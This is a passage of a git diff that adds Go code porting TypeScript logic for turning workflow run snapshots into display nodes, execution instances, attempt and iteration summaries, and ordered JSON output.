+				candidates[alias] = make(map[string]bool)
+			}
+			candidates[alias][resolvedTarget] = true
+		}
+	}
+
+	aliases := make(map[string]string)
+	for alias, targets := range candidates {
+		if len(targets) == 1 {
+			for target := range targets {
+				aliases[alias] = target
+			}
+		}
+	}
+	return aliases
+}
+
+// visibleNodeAliases lists the alias strings under which a visible node can be
+// referenced. Port of TS visibleNodeAliases (undefined entries dropped, each
+// externalized).
+func visibleNodeAliases(b runSnapshotBead, rootBeadID string, identity *beadIdentity, physicalLogicalTargets map[string]bool) []string {
+	resolvedTarget := semanticNodeIDFor(b, rootBeadID)
+	base := groupingBaseSemanticID(b, rootBeadID, physicalLogicalTargets)
+	if identity != nil {
+		resolvedTarget = identity.semanticNodeID
+		base = identity.base
+	}
+
+	var raw []string
+	raw = append(raw, resolvedTarget)
+	raw = append(raw, semanticNodeIDFor(b, rootBeadID))
+	raw = append(raw, base)
+	if identity != nil && identity.hasDisambiguator {
+		raw = append(raw, identity.disambiguator)
+	}
+	if v, ok := stableSemanticIdentity(b, rootBeadID); ok {
+		raw = append(raw, v)
+	}
+	if v := beadMeta(b, beadmeta.StepIDMetadataKey); v != "" {
+		raw = append(raw, v)
+	}
+	if v, ok := fullStepRefIdentity(normalizedStepRef(b)); ok {
+		raw = append(raw, v)
+	}
+	if v := nonEmpty(b.id); v != "" {
+		raw = append(raw, v)
+	}
+
+	out := make([]string, 0, len(raw))
+	for _, v := range raw {
+		out = append(out, externalizeID(v))
+	}
+	return out
+}
+
+// referencedPhysicalLogicalTargets collects bead ids that another bead references
+// as its logical bead id. Port of TS referencedPhysicalLogicalTargets.
+func referencedPhysicalLogicalTargets(beads []runSnapshotBead) map[string]bool {
+	beadIDs := make(map[string]bool)
+	for i := range beads {
+		if id := nonEmpty(beads[i].id); id != "" {
+			beadIDs[id] = true
+		}
+	}
+	targets := make(map[string]bool)
+	for i := range beads {
+		logical := explicitLogicalBeadID(beads[i])
+		if logical != "" && beadIDs[logical] {
+			targets[logical] = true
+		}
+	}
+	return targets
+}
+
+// resolveBadgeTarget resolves the visible node a hidden bead's badge attaches to.
+// Port of TS resolveBadgeTarget (bool mirrors a non-null result).
+func resolveBadgeTarget(b runSnapshotBead, rootBeadID string, aliases map[string]string, fallback string) (string, bool) {
+	if constructKindFor(b, rootBeadID) == "run-finalize" {
+		return rootBeadID, true
+	}
+	for _, candidate := range hiddenBadgeTargetCandidates(b, fallback) {
+		if target, ok := aliases[candidate]; ok && target != "" {
+			return target, true
+		}
+	}
+	if fallback != "" {
+		return fallback, true
+	}
+	return "", false
+}
+
+// hiddenBadgeTargetCandidates lists the alias candidates a hidden badge resolves
+// against. Port of TS hiddenBadgeTargetCandidates.
+func hiddenBadgeTargetCandidates(b runSnapshotBead, fallback string) []string {
+	var sources []string
+	if v := beadMeta(b, beadmeta.ControlForMetadataKey); v != "" {
+		sources = append(sources, v)
+	}
+	if v, ok := hiddenBadgeFullTargetFor(b); ok {
+		sources = append(sources, v)
+	}
+	if fallback != "" {
+		sources = append(sources, fallback)
+	}
+
+	var out []string
+	for _, value := range sources {
+		stripped := stripScopeCheckSuffix(value)
+		out = append(out, externalizeID(value), externalizeID(stripped), externalizeID(externalizeID(stripped)))
+	}
+	return out
+}
+
+// stableSemanticIdentity resolves a bead's stable semantic identity. Port of TS
+// stableSemanticIdentity (bool mirrors undefined).
+func stableSemanticIdentity(b runSnapshotBead, rootBeadID string) (string, bool) {
+	beadID := nonEmpty(b.id)
+	if beadID != "" && beadID == rootBeadID {
+		return rootBeadID, true
+	}
+	if explicit := explicitLogicalBeadID(b); explicit != "" {
+		return externalizeID(explicit), true
+	}
+	if stepID := beadMeta(b, beadmeta.StepIDMetadataKey); stepID != "" {
+		return externalizeID(stepID), true
+	}
+	return fullStepRefIdentity(normalizedStepRef(b))
+}
+
+// hiddenBadgeFullTargetFor resolves the full-ref target of a hidden badge. Port
+// of TS hiddenBadgeFullTargetFor (bool mirrors undefined).
+func hiddenBadgeFullTargetFor(b runSnapshotBead) (string, bool) {
+	if controlFor := beadMeta(b, beadmeta.ControlForMetadataKey); controlFor != "" {
+		return externalizeID(stripScopeCheckSuffix(controlFor)), true
+	}
+	return fullStepRefIdentity(stripScopeCheckSuffix(normalizedStepRef(b)))
+}
+
+// fullStepRefIdentity resolves the full (non-root-prefixed) step ref identity.
+// Port of TS fullStepRefIdentity (bool mirrors undefined).
+func fullStepRefIdentity(ref string) (string, bool) {
+	clean := nonEmpty(ref)
+	if clean == "" {
+		return "", false
+	}
+	stripped := stripScopeCheckSuffix(clean)
+	parts := splitNonEmpty(stripped, ".")
+	if len(parts) == 0 {
+		return "", false
+	}
+	if len(parts) == 1 {
+		first := parts[0]
+		if first == "" {
+			first = stripped
+		}
+		return externalizeID(first), true
+	}
+	return externalizeID(strings.Join(parts[1:], ".")), true
+}
diff --git a/internal/runproj/detail_instances.go b/internal/runproj/detail_instances.go
new file mode 100644
index 0000000000..f022dc6323
--- /dev/null
+++ b/internal/runproj/detail_instances.go
@@ -0,0 +1,341 @@
+package runproj
+
+import (
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// buildRunDisplayNode projects one semantic group into a display node, including
+// its execution instances, iteration/attempt summaries, and control badges.
+// Port of TS buildRunDisplayNode (execution-instances.ts). latestLoopIteration's
+// bool mirrors `number | undefined`.
+func buildRunDisplayNode(group runNodeGroup, controlBadges []RunControlBadge, latestLoopIteration int, hasLatestLoopIteration bool, ctx runSessionLinkContext) RunDisplayNode {
+	instances := make([]RunExecutionInstance, 0, len(group.beads))
+	for index := range group.beads {
+		instances = append(instances, buildExecutionInstance(group.semanticNodeID, group.beads[index], index, ctx))
+	}
+	sortExecutionInstances(instances)
+
+	// preferredExecutionInstance re-sorts (a no-op on the already-sorted slice)
+	// and takes the last element.
+	hasVisible := len(instances) > 0
+
+	iterationSet := map[int]bool{}
+	for _, inst := range instances {
+		if v, ok := iterationValue(inst.Iteration); ok {
+			iterationSet[v] = true
+		}
+	}
+
+	visibleIteration, hasVisibleIteration := 0, false
+	if hasVisible {
+		if v, ok := iterationValue(instances[len(instances)-1].Iteration); ok {
+			visibleIteration, hasVisibleIteration = v, true
+		}
+	}
+	if !hasVisibleIteration && len(iterationSet) > 0 {
+		visibleIteration, hasVisibleIteration = maxKey(iterationSet), true
+	}
+
+	historicalOnly := group.loopControlNodeID != "" &&
+		hasVisibleIteration &&
+		hasLatestLoopIteration &&
+		visibleIteration < latestLoopIteration
+
+	for k := range instances {
+		// currentIteration = !historicalOnly && (visibleIteration is undefined ||
+		// instance's loop value === visibleIteration). A base (non-loop) instance
+		// under a known visible iteration compares undefined === number → false.
+		currentIteration := !historicalOnly
+		if currentIteration && hasVisibleIteration {
+			v, ok := iterationValue(instances[k].Iteration)
+			currentIteration = ok && v == visibleIteration
+		}
+		instances[k].CurrentIteration = currentIteration
+		instances[k].Historical = !currentIteration
+		if instances[k].Session.Kind == "attached" {
+			instances[k].Session.Streamable = currentIteration && isRunningStatus(instances[k].Status)
+		}
+	}
+
+	if !hasVisible {
+		panic("runproj: run node " + group.semanticNodeID + " has no execution instances")
+	}
+	visible := &instances[len(instances)-1]
+
+	if controlBadges == nil {
+		controlBadges = []RunControlBadge{}
+	}
+
+	return RunDisplayNode{
+		ID:                         group.semanticNodeID,
+		SemanticNodeID:             group.semanticNodeID,
+		Title:                      group.title,
+		Kind:                       group.kind,
+		ConstructKind:              group.constructKind,
+		Status:                     aggregateStatus(instances, visible),
+		CurrentBeadID:              visible.BeadID,
+		Scope:                      runNodeScope(group.scopeRef),
+		VisibleInGraph:             !historicalOnly,
+		HistoricalOnly:             historicalOnly,
+		IterationSummary:           iterationSummaryFor(visibleIteration, hasVisibleIteration, len(iterationSet), group.loopControlNodeID),
+		AttemptSummary:             attemptSummaryFor(instances, group.beads),
+		VisibleExecutionInstanceID: visible.ID,
+		ExecutionInstances:         instances,
+		ControlBadges:              controlBadges,
+	}
+}
+
+// latestIterationsByLoop computes the furthest iteration reached per loop-control
+// node. Port of TS latestIterationsByLoop.
+func latestIterationsByLoop(groups []runNodeGroup) map[string]int {
+	latest := make(map[string]int)
+	for _, group := range groups {
+		if group.loopControlNodeID == "" {
+			continue
+		}
+		for _, bead := range group.beads {
+			iteration, ok := iterationFor(bead)
+			if !ok {
+				continue
+			}
+			if cur, exists := latest[group.loopControlNodeID]; !exists || iteration > cur {
+				latest[group.loopControlNodeID] = iteration
+			}
+		}
+	}
+	return latest
+}
+
+// buildExecutionInstance projects one physical bead into an execution instance.
+// Port of TS buildExecutionInstance.
+func buildExecutionInstance(semanticNodeID string, bead runSnapshotBead, index int, ctx runSessionLinkContext) RunExecutionInstance {
+	beadID := nonEmpty(bead.id)
+	if beadID == "" {
+		panic("runproj: run node " + semanticNodeID + " has a bead with an empty id")
+	}
+	iteration, hasIteration := iterationFor(bead)
+	attempt, hasAttempt := attemptFor(bead)
+	status := presentationStatus(bead)
+	sessionLink, hasLink := runSessionLinkFor(bead, status, ctx)
+
+	id := beadID
+	if id == "" {
+		iterPart := 0
+		if hasIteration {
+			iterPart = iteration
+		}
+		attemptPart := index
+		if hasAttempt {
+			attemptPart = attempt
+		}
+		id = semanticNodeID + ":iteration-" + strconv.Itoa(iterPart) + ":attempt-" + strconv.Itoa(attemptPart)
+	}
+
+	return RunExecutionInstance{
+		ID:               id,
+		SemanticNodeID:   semanticNodeID,
+		BeadID:           beadID,
+		Iteration:        iterationState(iteration, hasIteration),
+		Attempt:          attemptState(attempt, hasAttempt),
+		Label:            instanceLabel(iteration, hasIteration, attempt, hasAttempt),
+		Status:           status,
+		Session:          sessionState(status, sessionLink, hasLink),
+		CurrentIteration: true,
+		Historical:       false,
+	}
+}
+
+// sortExecutionInstances stably sorts instances by iteration, then attempt, then
+// bead id. Port of TS compareExecutionInstances (localeCompare approximated by
+// byte comparison).
+func sortExecutionInstances(instances []RunExecutionInstance) {
+	sort.SliceStable(instances, func(i, j int) bool {
+		if d := iterationOrder(instances[i].Iteration) - iterationOrder(instances[j].Iteration); d != 0 {
+			return d < 0
+		}
+		if d := attemptOrder(instances[i].Attempt) - attemptOrder(instances[j].Attempt); d != 0 {
+			return d < 0
+		}
+		return strings.Compare(instances[i].BeadID, instances[j].BeadID) < 0
+	})
+}
+
+// attemptSummaryFor derives a node's attempt summary. Port of TS attemptSummaryFor.
+func attemptSummaryFor(instances []RunExecutionInstance, beads []runSnapshotBead) RunAttemptSummary {
+	attemptCount := attemptCountFor(instances)
+	activeAttempt, hasActive := activeAttemptFor(instances)
+	badgeLabel, hasBadge := attemptBadgeFor(beads)
+	if attemptCount == 0 && !hasBadge {
+		return RunAttemptSummary{Kind: "none"}
+	}
+	count := attemptCount
+	if count < 1 {
+		count = 1
+	}
+	badge := RunAttemptBadge{Kind: "count-only"}
+	if hasBadge {
+		badge = RunAttemptBadge{Kind: "bounded", Label: badgeLabel}
+	}
+	active := RunAttemptActive{Kind: "idle"}
+	if hasActive {
+		active = RunAttemptActive{Kind: "running", Value: activeAttempt}
+	}
+	return RunAttemptSummary{Kind: "tracked", Count: count, Badge: badge, Active: active}
+}
+
+// attemptBadgeFor derives the bounded attempt badge from gc.max_attempts. Port of
+// TS attemptBadgeFor.
+func attemptBadgeFor(beads []runSnapshotBead) (string, bool) {
+	maxAttempts, hasMax := 0, false
+	for _, bead := range beads {
+		if v, ok := positiveIntegerMeta(bead, beadmeta.MaxAttemptsMetadataKey); ok {
+			maxAttempts, hasMax = v, true
+			break
+		}
+	}
+	if !hasMax {
+		return "", false
+	}
+	attempts := map[int]bool{}
+	for _, bead := range beads {
+		if v, ok := attemptFor(bead); ok {
+			attempts[v] = true
+		}
+	}
+	size := len(attempts)
+	if size < 1 {
+		size = 1
+	}
+	return strconv.Itoa(size) + "/" + strconv.Itoa(maxAttempts), true
+}
+
+func attemptCountFor(instances []RunExecutionInstance) int {
+	attempts := map[int]bool{}
+	for _, inst := range instances {
+		if v, ok := attemptValue(inst.Attempt); ok {
+			attempts[v] = true
+		}
+	}
+	return len(attempts)
+}
+
+func activeAttemptFor(instances []RunExecutionInstance) (int, bool) {
+	for _, inst := range instances {
+		if isRunningStatus(inst.Status) {
+			return attemptValue(inst.Attempt)
+		}
+	}
+	return 0, false
+}
+
+// instanceLabel renders an instance's iteration/attempt label. Port of TS
+// instanceLabel.
+func instanceLabel(iteration int, hasIteration bool, attempt int, hasAttempt bool) string {
+	if hasIteration && hasAttempt {
+		return "iteration " + strconv.Itoa(iteration) + ", attempt " + strconv.Itoa(attempt)
+	}
+	if hasIteration {
+		return "iteration " + strconv.Itoa(iteration)
+	}
+	if hasAttempt {
+		return "attempt " + strconv.Itoa(attempt)
+	}
+	return "base"
+}
+
+// runNodeScope renders a group's node scope. Port of TS runNodeScope ("" =
+// undefined → run).
+func runNodeScope(scopeRef string) RunNodeScope {
+	if scopeRef == "" {
+		return RunNodeScope{Kind: "run"}
+	}
+	return RunNodeScope{Kind: "scoped", Ref: scopeRef}
+}
+
+// iterationSummaryFor renders a node's iteration summary. Port of TS
+// iterationSummaryFor.
+func iterationSummaryFor(visibleIteration int, hasVisibleIteration bool, iterationCount int, loopControlNodeID string) RunIterationSummary {
+	if !hasVisibleIteration || iterationCount == 0 {
+		return RunIterationSummary{Kind: "single"}
+	}
+	control := RunIterationControl{Kind: "unknown"}
+	if loopControlNodeID != "" {
+		control = RunIterationControl{Kind: "known", ID: loopControlNodeID}
+	}
+	return RunIterationSummary{
+		Kind:             "stacked",
+		VisibleIteration: visibleIteration,
+		IterationCount:   iterationCount,
+		Control:          control,
+	}
+}
+
+func iterationState(value int, has bool) RunIteration {
+	if !has {
+		return RunIteration{Kind: "base"}
+	}
+	return RunIteration{Kind: "loop", Value: value}
+}
+
+func attemptState(value int, has bool) RunAttempt {
+	if !has {
+		return RunAttempt{Kind: "untracked"}
+	}
+	return RunAttempt{Kind: "attempt", Value: value}
+}
+
+// sessionState renders an instance's session attachment. Port of TS sessionState.
+func sessionState(status string, link RunSessionLink, hasLink bool) RunSessionAttachment {
+	if hasLink {
+		return RunSessionAttachment{Kind: "attached", Link: link, Streamable: false}
+	}
+	reason := "session_unresolved"
+	if status == "pending" || status == "ready" {
+		reason = "not_started"
+	}
+	return RunSessionAttachment{Kind: "none", Reason: reason}
+}
+
+func iterationValue(iteration RunIteration) (int, bool) {
+	if iteration.Kind == "loop" {
+		return iteration.Value, true
+	}
+	return 0, false
+}
+
+func attemptValue(attempt RunAttempt) (int, bool) {
+	if attempt.Kind == "attempt" {
+		return attempt.Value, true
+	}
+	return 0, false
+}
+
+func iterationOrder(iteration RunIteration) int {
+	if v, ok := iterationValue(iteration); ok {
+		return v
+	}
+	return 0
+}
+
+func attemptOrder(attempt RunAttempt) int {
+	if v, ok := attemptValue(attempt); ok {
+		return v
+	}
+	return 0
+}
+
+func maxKey(set map[int]bool) int {
+	first := true
+	best := 0
+	for k := range set {
+		if first || k > best {
+			best = k
+			first = false
+		}
+	}
+	return best
+}
diff --git a/internal/runproj/detail_marshal.go b/internal/runproj/detail_marshal.go
new file mode 100644
index 0000000000..daa40a948f
--- /dev/null
+++ b/internal/runproj/detail_marshal.go
@@ -0,0 +1,245 @@
+package runproj
+
+import "fmt"
+
+// The detail DTO unions below mirror the summary unions in marshal.go: each
+// carries every arm's fields and a custom MarshalJSON that emits exactly the
+// active arm's keys, in the TS object-literal order. Key order is load-bearing
+// for byte-for-byte golden parity.
+
+// nodeStatusCounts is a per-node-status tally that preserves first-seen status
+// order, matching the TS Partial<Record<RunNodeStatus, number>> insertion order
+// (a Go map would sort keys and break parity).
+type nodeStatusCounts struct {
+	keys   []string
+	counts map[string]int
+}
+
+func (c *nodeStatusCounts) inc(status string) {
+	if c.counts == nil {
+		c.counts = map[string]int{}
+	}
+	if _, ok := c.counts[status]; !ok {
+		c.keys = append(c.keys, status)
+	}
+	c.counts[status]++
+}
+
+// MarshalJSON renders the counts in first-seen order.
+func (c nodeStatusCounts) MarshalJSON() ([]byte, error) {
+	pairs := make([]kv, 0, len(c.keys))
+	for _, k := range c.keys {
+		pairs = append(pairs, kv{k, c.counts[k]})
+	}
+	return marshalObject(pairs)
+}
+
+// MarshalJSON renders the active formula arm. TS: {kind:'known', name, source} |
+// {kind:'unavailable', reason}.
+func (f RunFormula) MarshalJSON() ([]byte, error) {
+	switch f.Kind {
+	case "known":
+		return marshalObject([]kv{{"kind", "known"}, {"name", f.Name}, {"source", f.Source}})
+	case "unavailable":
+		return marshalObject([]kv{{"kind", "unavailable"}, {"reason", f.Reason}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunFormula kind %q", f.Kind)
+	}
+}
+
+// MarshalJSON renders the active formula-detail arm. TS: {kind:'available', name,
+// target} | {kind:'unavailable', reason} (+ name / +name,target,failure variants).
+func (s RunFormulaDetailState) MarshalJSON() ([]byte, error) {
+	switch {
+	case s.Kind == "available":
+		return marshalObject([]kv{{"kind", "available"}, {"name", s.Name}, {"target", s.Target}})
+	case s.Kind == "unavailable" && s.Reason == "missing_formula_metadata":
+		return marshalObject([]kv{{"kind", "unavailable"}, {"reason", s.Reason}})
+	case s.Kind == "unavailable" && s.Reason == "missing_run_target":
+		return marshalObject([]kv{{"kind", "unavailable"}, {"reason", s.Reason}, {"name", s.Name}})
+	case s.Kind == "unavailable" && s.Reason == "fetch_failed":
+		return marshalObject([]kv{
+			{"kind", "unavailable"},
+			{"reason", s.Reason},
+			{"name", s.Name},
+			{"target", s.Target},
+			{"failure", s.Failure},
+		})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunFormulaDetailState kind=%q reason=%q", s.Kind, s.Reason)
+	}
+}
+
+// MarshalJSON renders the active execution-path arm. TS: {kind:'known', path} |
+// {kind:'unavailable', reason}.
+func (p RunExecutionPath) MarshalJSON() ([]byte, error) {
+	switch p.Kind {
+	case "known":
+		return marshalObject([]kv{{"kind", "known"}, {"path", p.Path}})
+	case "unavailable":
+		return marshalObject([]kv{{"kind", "unavailable"}, {"reason", p.Reason}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunExecutionPath kind %q", p.Kind)
+	}
+}
+
+// MarshalJSON renders the active snapshot-sequence arm. TS: {kind:'known', seq} |
+// {kind:'unavailable', reason}.
+func (s RunSnapshotSequence) MarshalJSON() ([]byte, error) {
+	switch s.Kind {
+	case "known":
+		return marshalObject([]kv{{"kind", "known"}, {"seq", s.Seq}})
+	case "unavailable":
+		return marshalObject([]kv{{"kind", "unavailable"}, {"reason", s.Reason}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunSnapshotSequence kind %q", s.Kind)
+	}
+}
+
+// MarshalJSON renders the active completeness arm. TS: {kind:'complete'} |
+// {kind:'partial', reasons}.
+func (c FormulaRunCompleteness) MarshalJSON() ([]byte, error) {
+	switch c.Kind {
+	case "complete":
+		return marshalObject([]kv{{"kind", "complete"}})
+	case "partial":
+		reasons := c.Reasons
+		if reasons == nil {
+			reasons = []string{}
+		}
+		return marshalObject([]kv{{"kind", "partial"}, {"reasons", reasons}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid FormulaRunCompleteness kind %q", c.Kind)
+	}
+}
+
+// MarshalJSON renders the active node-scope arm. TS: {kind:'run'} |
+// {kind:'scoped', ref}.
+func (s RunNodeScope) MarshalJSON() ([]byte, error) {
+	switch s.Kind {
+	case "run":
+		return marshalObject([]kv{{"kind", "run"}})
+	case "scoped":
+		return marshalObject([]kv{{"kind", "scoped"}, {"ref", s.Ref}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunNodeScope kind %q", s.Kind)
+	}
+}
+
+// MarshalJSON renders the active iteration arm. TS: {kind:'base'} |
+// {kind:'loop', value}.
+func (i RunIteration) MarshalJSON() ([]byte, error) {
+	switch i.Kind {
+	case "base":
+		return marshalObject([]kv{{"kind", "base"}})
+	case "loop":
+		return marshalObject([]kv{{"kind", "loop"}, {"value", i.Value}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunIteration kind %q", i.Kind)
+	}
+}
+
+// MarshalJSON renders the active attempt arm. TS: {kind:'untracked'} |
+// {kind:'attempt', value}.
+func (a RunAttempt) MarshalJSON() ([]byte, error) {
+	switch a.Kind {
+	case "untracked":
+		return marshalObject([]kv{{"kind", "untracked"}})
+	case "attempt":
+		return marshalObject([]kv{{"kind", "attempt"}, {"value", a.Value}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunAttempt kind %q", a.Kind)
+	}
+}
+
+// MarshalJSON renders the active session-attachment arm. TS: {kind:'attached',
+// link, streamable} | {kind:'none', reason}.
+func (s RunSessionAttachment) MarshalJSON() ([]byte, error) {
+	switch s.Kind {
+	case "attached":
+		return marshalObject([]kv{
+			{"kind", "attached"},
+			{"link", s.Link},
+			{"streamable", s.Streamable},
+		})
+	case "none":
+		return marshalObject([]kv{{"kind", "none"}, {"reason", s.Reason}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunSessionAttachment kind %q", s.Kind)
+	}
+}
+
+// MarshalJSON renders the active iteration-summary arm. TS: {kind:'single'} |
+// {kind:'stacked', visibleIteration, iterationCount, control}.
+func (s RunIterationSummary) MarshalJSON() ([]byte, error) {
+	switch s.Kind {
+	case "single":
+		return marshalObject([]kv{{"kind", "single"}})
+	case "stacked":
+		return marshalObject([]kv{
+			{"kind", "stacked"},
+			{"visibleIteration", s.VisibleIteration},
+			{"iterationCount", s.IterationCount},
+			{"control", s.Control},
+		})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunIterationSummary kind %q", s.Kind)
+	}
+}
+
+// MarshalJSON renders the active iteration-control arm. TS: {kind:'known', id} |
+// {kind:'unknown'}.
+func (c RunIterationControl) MarshalJSON() ([]byte, error) {
+	switch c.Kind {
+	case "known":
+		return marshalObject([]kv{{"kind", "known"}, {"id", c.ID}})
+	case "unknown":
+		return marshalObject([]kv{{"kind", "unknown"}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunIterationControl kind %q", c.Kind)
+	}
+}
+
+// MarshalJSON renders the active attempt-summary arm. TS: {kind:'none'} |
+// {kind:'tracked', count, badge, active}.
+func (s RunAttemptSummary) MarshalJSON() ([]byte, error) {
+	switch s.Kind {
+	case "none":
+		return marshalObject([]kv{{"kind", "none"}})
+	case "tracked":
+		return marshalObject([]kv{
+			{"kind", "tracked"},
+			{"count", s.Count},
+			{"badge", s.Badge},
+			{"active", s.Active},
+		})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunAttemptSummary kind %q", s.Kind)
+	}
+}
+
+// MarshalJSON renders the active attempt-badge arm. TS: {kind:'bounded', label} |
+// {kind:'count-only'}.
+func (b RunAttemptBadge) MarshalJSON() ([]byte, error) {
+	switch b.Kind {
+	case "bounded":
+		return marshalObject([]kv{{"kind", "bounded"}, {"label", b.Label}})
+	case "count-only":
+		return marshalObject([]kv{{"kind", "count-only"}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunAttemptBadge kind %q", b.Kind)
+	}
+}
+
+// MarshalJSON renders the active attempt-active arm. TS: {kind:'running', value}
+// | {kind:'idle'}.
+func (a RunAttemptActive) MarshalJSON() ([]byte, error) {
+	switch a.Kind {
+	case "running":
+		return marshalObject([]kv{{"kind", "running"}, {"value", a.Value}})
+	case "idle":
+		return marshalObject([]kv{{"kind", "idle"}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunAttemptActive kind %q", a.Kind)
+	}
+}
diff --git a/internal/runproj/detail_nodeshape.go b/internal/runproj/detail_nodeshape.go
new file mode 100644
index 0000000000..b99007b6df
--- /dev/null
+++ b/internal/runproj/detail_nodeshape.go
@@ -0,0 +1,546 @@
+package runproj
+
+import (
+	"regexp"
+	"strconv"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// ── bead-fields.ts ──────────────────────────────────────────────────────────
+
+// beadMeta returns the trimmed string metadata value for key, or "" when absent
+// or whitespace. Port of TS meta() (the metadata is always string-typed in Go,
+// so the typeof guard is unconditional). "" stands in for TS's undefined; callers
+// test `!= ""`.
+func beadMeta(b runSnapshotBead, key string) string {
+	return nonEmpty(b.metadata[key])
+}
+
+// normalizedStepRef resolves a bead's step ref: gc.step_ref metadata, else the
+// step_ref column. Port of TS normalizedStepRef ("" mirrors null).
+func normalizedStepRef(b runSnapshotBead) string {
+	if ref := beadMeta(b, beadmeta.StepRefMetadataKey); ref != "" {
+		return ref
+	}
+	return nonEmpty(b.stepRef)
+}
+
+// iterationFor resolves a bead's loop iteration. Port of TS iterationFor. The
+// bool mirrors TS's `number | undefined`.
+func iterationFor(b runSnapshotBead) (int, bool) {
+	if v, ok := numericMeta(b, beadmeta.IterationMetadataKey); ok {
+		return v, true
+	}
+	if v, ok := numericRefSegment(b, "iteration"); ok {
+		return v, true
+	}
+	return numericRefSegment(b, "run")
+}
+
+// attemptFor resolves a bead's attempt number. Port of TS attemptFor.
+func attemptFor(b runSnapshotBead) (int, bool) {
+	if v, ok := numericMeta(b, beadmeta.AttemptMetadataKey); ok {
+		return v, true
+	}
+	if b.attempt != nil {
+		if v, ok := numericFieldInt(*b.attempt); ok {
+			return v, true
+		}
+	}
+	return numericRefSegment(b, "attempt")
+}
+
+// positiveIntegerMeta returns a strictly-positive integer metadata value.
+// Port of TS positiveIntegerMeta.
+func positiveIntegerMeta(b runSnapshotBead, key string) (int, bool) {
+	return numericMeta(b, key)
+}
+
+var numericFieldRe = regexp.MustCompile(`^[1-9]\d*$`)
+
+// externalizeID rewrites whole-word "ralph" (case-insensitive) to "check-loop".
+// Port of TS externalizeId. Go RE2 lacks the lookahead the TS pattern uses, so
+// the word boundaries are matched manually (the leading boundary char is
+// preserved, the trailing boundary is not consumed — overlapping boundaries
+// like "ralph.ralph" both rewrite).
+func externalizeID(s string) string {
+	return rewriteRalph(s, "check-loop")
+}
+
+// rewriteRalph replaces each whole-word "ralph" (delimited by string edges or
+// non-alphanumeric chars, case-insensitive) with replacement.
+func rewriteRalph(s, replacement string) string {
+	const word = "ralph"
+	if !containsRalphWord(s) {
+		return s
+	}
+	lower := strings.ToLower(s)
+	var b strings.Builder
+	i := 0
+	for i < len(s) {
+		if lower[i] == 'r' && strings.HasPrefix(lower[i:], word) {
+			beforeOK := i == 0 || !isASCIIAlnum(s[i-1])
+			after := i + len(word)
+			afterOK := after >= len(s) || !isASCIIAlnum(s[after])
+			if beforeOK && afterOK {
+				b.WriteString(replacement)
+				i = after
+				continue
+			}
+		}
+		b.WriteByte(s[i])
+		i++
+	}
+	return b.String()
+}
+
+// containsRalphWord reports whether s contains a whole-word "ralph". Port of the
+// boolean test in TS externalizeDisplayText.
+func containsRalphWord(s string) bool {
+	const word = "ralph"
+	lower := strings.ToLower(s)
+	for i := 0; i+len(word) <= len(lower); i++ {
+		if !strings.HasPrefix(lower[i:], word) {
+			continue
+		}
+		beforeOK := i == 0 || !isASCIIAlnum(s[i-1])
+		after := i + len(word)
+		afterOK := after >= len(s) || !isASCIIAlnum(s[after])
+		if beforeOK && afterOK {
+			return true
+		}
+	}
+	return false
+}
+
+func isASCIIAlnum(c byte) bool {
+	return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')
+}
+
+func numericRefSegment(b runSnapshotBead, marker string) (int, bool) {
+	ref := normalizedStepRef(b)
+	if ref == "" {
+		return 0, false
+	}
+	parts := strings.Split(ref, ".")
+	for i := 0; i < len(parts)-1; i++ {
+		if parts[i] != marker {
+			continue
+		}
+		if v, ok := numericFieldString(parts[i+1]); ok {
+			return v, true
+		}
+	}
+	return 0, false
+}
+
+func numericMeta(b runSnapshotBead, key string) (int, bool) {
+	return numericFieldString(beadMeta(b, key))
+}
+
+// numericFieldString parses a strictly-positive decimal integer with no leading
+// zero. Port of TS numericField (string arm).
+func numericFieldString(value string) (int, bool) {
+	if !numericFieldRe.MatchString(value) {
+		return 0, false
+	}
+	parsed, err := strconv.Atoi(value)
+	if err != nil {
+		return 0, false
+	}
+	// Number.isSafeInteger guard (< 2^53). int is 64-bit here, so any value that
+	// parsed cleanly and matched the regex is well within range; the explicit
+	// bound keeps parity with the TS check.
+	if int64(parsed) > 1<<53-1 {
+		return 0, false
+	}
+	return parsed, true
+}
+
+// numericFieldInt mirrors TS numericField for an already-numeric value: a
+// positive integer is accepted as-is.
+func numericFieldInt(value int) (int, bool) {
+	if value > 0 {
+		return value, true
+	}
+	return 0, false
+}
+
+// ── status.ts ───────────────────────────────────────────────────────────────
+
+// presentationStatus maps a bead's raw status (+ gc.outcome) to a node status.
+// Port of TS presentationStatus.
+func presentationStatus(b runSnapshotBead) string {
+	raw := strings.ToLower(nonEmpty(b.status))
+	outcome := strings.ToLower(beadMeta(b, beadmeta.OutcomeMetadataKey))
+	if raw == "closed" || raw == "completed" || raw == "done" {
+		if outcome == "fail" || outcome == "failed" {
+			return "failed"
+		}
+		if outcome == "skipped" {
+			return "skipped"
+		}
+		return "completed"
+	}
+	if raw == "in_progress" || raw == "active" || raw == "running" {
+		return "active"
+	}
+	switch raw {
+	case "blocked":
+		return "blocked"
+	case "ready":
+		return "ready"
+	case "failed":
+		return "failed"
+	case "skipped":
+		return "skipped"
+	}
+	return "pending"
+}
+
+// aggregateStatus folds a node's instances into one status. Port of TS
+// aggregateStatus.
+func aggregateStatus(instances []RunExecutionInstance, visible *RunExecutionInstance) string {
+	for _, inst := range instances {
+		if isRunningStatus(inst.Status) {
+			return "active"
+		}
+	}
+	if visible != nil && visible.Status != "" {
+		return visible.Status
+	}
+	return "pending"
+}
+
+// isRunningStatus reports whether status is a running state. Port of TS
+// isRunningStatus.
+func isRunningStatus(status string) bool {
+	return status == "active" || status == "running"
+}
+
